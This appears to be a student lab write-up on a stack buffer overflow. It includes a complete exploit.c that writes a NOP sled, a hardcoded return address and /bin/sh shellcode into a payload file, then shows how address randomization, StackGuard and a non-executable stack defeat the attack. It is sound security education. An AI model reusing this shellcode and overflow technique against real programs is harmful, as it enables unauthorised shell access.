

1. Exploiting the vulnerability.

```
/* exploit.c */

/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[]=
    "\x31\xc0"      /* xorl  %eax,%eax      */
    "\x50"          /* pushl %eax           */
    "\x68""//sh"     /* pushl $0x68732f2f    */
    "\x68""/bin"     /* pushl $0x6e69622f    */
    "\x89\xe3"      /* movl  %esp,%ebx      */
    "\x50"          /* pushl %eax           */
    "\x53"          /* pushl %ebx           */
    "\x89\xe1"      /* movl  %esp,%ecx      */
    "\x99"          /* cdq                  */
    "\xb0\x0b"      /* movb  $0x0b,%al      */
    "\xcd\x80"      /* int   $0x80          */
;

void main(int argc, char **argv)
{
    char buffer[517];
    FILE *badfile;

    /* Initialize buffer with 0x90 (NOP instruction) */
    memset(&buffer, 0x90, 517);

    /* You need to fill the buffer with appropriate contents here */
    *(buffer+36) = 0xb9;
    *(buffer+37) = 0xeb;
    *(buffer+38) = 0xff;
    *(buffer+39) = 0xbf;

    int fill = sizeof(buffer) - sizeof(shellcode);
    for(int i=0; i<sizeof(shellcode); i++){
        buffer[fill+i] = shellcode[i];
    }

    /* Save the contents to the file "badfile" */
    badfile = fopen("./badfile", "w");
    fwrite(buffer, 517, 1, badfile);
    fclose(badfile);
}
```

2. Address Randomization.

When Ubuntu's address randomization is turned on, the attack is unsuccessful. Running the attack this time does not give access to the shell. Instead, the error "Segment fault (core dumped)" is met.

This is because when the address randomization is turned off, the stack frame usually located at the same place, so its location can be determined, hence enabling the attack.

When the address randomization is turned on, the stack frame is assigning a random address each time, therefore making it difficult to tell where it is located. This greatly reduces the chances of a successful attack.

When the attack is done multiple times with address randomization turned on, it is successful after a number of attempts. This is after reaching very many "Segmentation fault (core dumped)" errors for the failed attempts.

Although the chances of a successful attack are minimized, they are still there.

3. StackGuard.

When an attack is tried with stackguard enabled, the attack becomes unsuccessful. Stackguard is a protection mechanism that helps prevent such an attack from occurring.

When you compile “stack.c” with enabled stackguard

```
gcc -o stack -z execstack stack.c
```

The attack is unsuccessful, and gives back errors:

```
*** stack smashing detected ***: ./stack terminated  
Segmentation fault (core dumped)
```

4. Non-executable Stack

When execution of stack is disabled during the attack, the attack becomes unsuccessful.

```
gcc -o stack -fno-stack-protector -z noexecstack stack.c
```

An attack attempt will return the error:

```
Segmentation fault (core dumped)
```

This happens because the executable in the stack will not be executed by the program. Disabling the executable stack will prevent the attack from being successful, because that is where the attack is.